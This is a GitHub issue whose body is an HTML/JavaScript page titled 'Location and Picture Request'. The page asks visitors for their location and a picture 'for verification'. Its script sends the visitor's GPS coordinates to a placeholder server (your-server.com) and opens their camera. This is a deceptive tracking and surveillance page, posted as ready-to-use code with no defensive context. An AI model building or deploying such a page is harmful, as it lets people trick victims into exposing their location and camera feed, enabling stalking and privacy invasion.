Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Code below #8

Open
Mqska opened this issue Sep 14, 2024 · 0 comments
Open

Code below #8

Mqska opened this issue Sep 14, 2024 · 0 comments

Comments

@Mqska
Copy link

Mqska commented Sep 14, 2024

<title>Location and Picture Request</title>

We need your location and a picture for verification

Share Location <script> // Get Location function getLocation() { if (navigator.geolocation) { navigator.geolocation.getCurrentPosition(sendLocation); } else { alert("Geolocation is not supported by this browser."); } }
    // Send Location Data
    function sendLocation(position) {
        fetch('https://your-server.com/location', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({
                latitude: position.coords.latitude,
                longitude: position.coords.longitude
            })
        }).then(response => response.json())
        .then(data => console.log("Location sent successfully"));
    }

    // Access Camera
    navigator.mediaDevices.getUserMedia({ video: true })
        .then(stream => {
            const video = document.getElementById('cameraStream');
            video.srcObject = stream;
        }).catch(err => {
            console.log("Error accessing camera: " + err);
        });
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant